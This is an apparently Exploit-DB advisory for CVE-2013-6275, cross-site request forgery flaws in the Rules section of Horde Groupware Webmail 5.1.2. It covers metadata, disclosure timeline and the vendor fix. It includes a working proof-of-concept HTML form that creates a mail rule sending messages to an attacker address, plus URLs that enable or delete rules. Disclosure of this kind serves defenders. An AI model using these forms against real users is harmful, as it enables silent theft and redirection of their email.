Multiple CSRF Horde Groupware Web mail Edition

vendor:

Groupware Web mail Edition

by:

Marcela Benetrix

6,5

CVSS

MEDIUM

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Groupware Web mail Edition

Affected Version From: 5.1.2

Affected Version To: 5.1.2

Patch Exists: YES

Related CWE: CVE-2013-6275

CPE: horde:webmail_edition

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2013

Multiple CSRF Horde Groupware Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Several functionalities from Rules section were found to miss the token so as to prevent CSRF. A proof-of-concept code was provided to demonstrate the vulnerability. These were found at: Creating a rule, Updating, Enabling, Deleting.

Mitigation:

Vendor was notified and the issue was fixed in the next version 5.1.3

Source

Exploit-DB raw data:

#############################
Exploit Title : Multiple CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/25/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

#############################
GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

##########################
CSRF Location

Several functionalities from Rules section were found to miss the token so as to prevent CSRF


##########################
POC

A <body>
    <form action="...../horde/ingo/basic.php?page=rule" method="POST">
      <input type="hidden" name="actionID" value="rule_save" />
      <input type="hidden" name="conditionnumber" value="-1" />
      <input type="hidden" name="name" value="TestingCSRF" />
      <input type="hidden" name="combine" value="1" />
      <input type="hidden" name="field[0]" value="From" />
      <input type="hidden" name="match[0]" value="contains" />
      <input type="hidden" name="value[0]"
value="test@hotmail.com" />
      <input type="hidden" name="field[1]" value="" />
      <input type="hidden" name="action" value="4" />
      <input type="hidden" name="actionvalue"
value="attacker@hotmail.com" />
      <input type="hidden" name="stop" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

These were found at:
  * Creating a rule
  * Updating
  * Enabling
    (http://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=2&actionID=rule_enable)
  * Deleting ( url-based https://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=6&actionID=rule_delete)

###########################
CVE identifier

CVE-2013-6275.
##########################
Vendor Notification
10/25/2013 to: the developers. They replied immediately and fixed the problem launching a patch:  http://bugs.horde.org/ticket/12796
10/28/2013: Disclosure